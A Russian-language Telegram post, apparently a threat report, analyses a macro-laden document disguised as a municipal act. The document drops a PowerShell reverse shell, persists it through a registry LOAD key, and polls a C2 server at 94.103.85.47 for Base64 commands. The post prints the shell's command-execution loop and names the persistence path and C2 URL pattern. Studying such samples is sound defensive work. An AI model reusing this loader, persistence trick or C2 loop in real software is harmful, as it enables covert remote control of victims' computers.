TGViewer
Сибирский Dev | IT survival Сибирский Dev | IT survival @sibdevjun · 643 subscribers
Post #286 571
🆒 !!р^д**н**c

#кибербез #новости

Характерным примером того, как злоумышленники используют актуальные события для распространения вредоносных программ, может послужить обнаруженный нами вредоносный документ.

Он содержит текст муниципального правового акта, который не отображается корректно, в связи с чем пользователя побуждают «Включить содержимое» и разрешить таким образом выполнение встроенного в документ макроса.

Встроенный макрос приводит документ к читаемому виду путем простой замены комбинаций символов на буквы (;; → у ; ** → o ; ?? → a и т. д.), а также извлекает и закрепляет в автозагрузке полезную нагрузку — достаточно простой реверс-шелл — в виде PowerShell-скрипта.

Полезная нагрузка находится в содержимом документа после строки DigitalRSASignature и состоит из двух частей, закодированных в Base64 и разделенных строкой CHECKSUM — <part1>CHECKSUM<part2>, которые декодируются и записываются в файлы:

• <part1> -> %USERPROFILE%\\UserCache.ini.hta
• <part2> -> %USERPROFILE%\\UserCache.ini

UserCache.ini.hta прописывается макросом в автозапуск Windows Explorer через ключ реестра HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LOAD. Назначение данного файла — запустить исполнение файла UserCache.ini.

UserCache.ini представляет собой легковесный реверс-шелл, который использует узел 94.103.85.47 (Vdsina, Moscow) как управляющий сервер. Данный инструмент получает и выполняет набор команд с http://94.103.85.47:80/api/texts/<client_id>, где <client_id> = <имя компьютера>_<имя пользователя>_<серийник тома жесткого диска>.

Команды передаются в формате XML и содержат несколько атрибутов:

• CountRuns — сколько раз нужно выполнить команду;
• Interval — интервал ожидания в минутах между последовательными выполнениями одной команды;
• Module — закодированная в Base64 команда.

...
try {
$Commands = [xml]$Configs;
$cycle_num = 0;

while($true){
$num_commands_completely_executed = 0;
$num_commands_executed = 0;
foreach ($CommandConfig in $Commands.Configs.Config)
{
$num_commands_executed += 1;
$quot = [int][Math]::Floor( $cycle_num / [int]$CommandConfig.Interval);
$rem = [int][Math]::Floor( $cycle_num % [int]$CommandConfig.Interval);

if($quot -lt [int]$Command.CountRuns -and $rem -eq 0){
$command_expr = FromBase64 $CommandConfig.Module;
try{
Invoke-Expression($command_expr);
}
catch {}
}

if(([int]$CommandConfig.Interval * [int]$CommandConfig.CountRuns) -lt [int]$cycle_num){
$num_commands_completely_executed += 1;
}
}

Start-Sleep 60;
if([int]$num_commands_completely_executed -eq [int]$num_commands_executed){
break;
}
$cycle_num += 1;
}
}
catch {}
...


Для блокировки автоматического выполнения макросов можно воспользоваться руководством от Microsoft.
  • 👍 4
  • 🤔 3
  • 😱 3
  • 🦄 2
  • ⚡ 1
More from @sibdevjun
  1. Oct 6, 2026Post #589
  2. Sep 29, 2026😱 Взломали Пентагон? Я думал это просто мем, а такое реально бывает... Хакеры получили до…
  3. Sep 25, 2026⚠️ Не ждем, а готовимся? Сподвигнет ли это в правильное развитие регионов? Хз Добавит ли р…
  4. Sep 23, 2026Я не пропал, я на своей шкуре проверяю рыночек IT труда 😋
  5. Sep 16, 2026Post #585
  6. Sep 13, 2026Кстати, с днем программиста! Вайбкодеры, тоже подходите, наливайте 🥹
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →